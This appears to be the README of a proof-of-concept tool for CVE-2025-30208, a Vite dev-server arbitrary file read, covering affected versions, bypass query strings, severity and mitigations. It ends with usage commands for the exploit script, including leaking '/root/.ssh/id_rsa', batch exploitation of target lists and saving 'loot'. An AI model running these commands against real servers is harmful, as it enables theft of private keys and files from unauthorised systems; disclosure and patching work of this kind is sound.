CVE-2025-30208 PoC — Vite 访问控制错误漏洞

Description

CVE-2025-30208

介绍

# CVE-2025-30208 Vite Arbitrary File Read vulnerability 🌌

Here's a detailed overview of **CVE‑2025‑30208**, a medium-severity arbitrary file‑read vulnerability in Vite’s dev server:

---

## 🛠️ What is it?

* Vite’s `@fs` module allows static file access in development mode with path allowances controlled by `server.fs.allow`.
* Versions **before** 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10 contain a flaw: URLs crafted with trailing query markers like `?raw??` or `?import&raw??` can bypass access restrictions and expose arbitrary files (e.g., system or source files) ([nvd.nist.gov][1]).

---

## 🔍 Who's affected?

* Vite dev‑servers explicitly **exposed to the network**, enabled via `--host` or `server.host`.
* Vulnerable version ranges:

  * 4.5.0 – 4.5.9
  * 5.0.0 – 5.4.14
  * 6.0.0 – 6.2.2 (with sub-versions as detailed) ([nsfocusglobal.com][2]).

---

## ⚠️ Severity & Impact

* **CVSS 3.1 score: 5.3 (Medium 🟠)**: Network attack, no privileges, high confidentiality impact ([wiz.io][3]).
* Exploitability: straightforward via crafted HTTP requests out of development servers ([wiz.io][3]).
* Public PoC is available, including scripts demonstrating `/etc/passwd` leaks ([github.com][4]).

---

## 🛡️ Mitigation & Response

* **Upgrade Vite** to one of the patched versions:

  * **6.2.3**, **6.1.2**, **6.0.12**, **5.4.15**, or **4.5.10** ([nvd.nist.gov][1]).
* **Avoid exposing** dev servers to public networks; limit with `localhost` or firewall rules ([wiz.io][3]).
* Additional scanning tools (e.g., NSFocus EZ, Sangfor, Tenable) support detection ([nsfocusglobal.com][2]).

## ✅ Recommended Next Steps

1. **Audit your Vite versions** in development environments, especially any exposed externally.
2. **Upgrade** immediately to a fixed version.
3. **Restrict access** to development servers—bind to `localhost`, use VPNs or firewalls.
4. **Run security scans/tools** to detect CVE‑2025‑30208 in your infrastructure.
5. **Monitor your logs** for suspicious `/@fs/...?...?` requests.

## Examples:

1- Single target exploitation:
```
python3 cve-2025-30208.py -u example.com:5173
```
2- Single target with custom LFI path to leak the file we want:
```
python3 cve-2025-30208.py -u example.com:5173 -p '/root/.ssh/id_rsa'
```
3- Batch exploitation with multiple targets:
```
python3 cve-2025-30208.py -f targets.txt
```
4- Custom bypass query:
```
python3 cve-2025-30208.py -u example.com:5173 -b "?raw&url"
```
5- Using a proxy (e.g. Burp Suite):
```
python3 cve-2025-30208.py -u example.com:5173 --proxy http://127.0.0.1:8080
```
6- Custom output directory:
```
python3 cve-2025-30208.py -u example.com:5173 -o ./loot
```
7- Increase thread count in batch mode:
```
python3 cve-2025-30208.py -f targets.txt -t 50
```
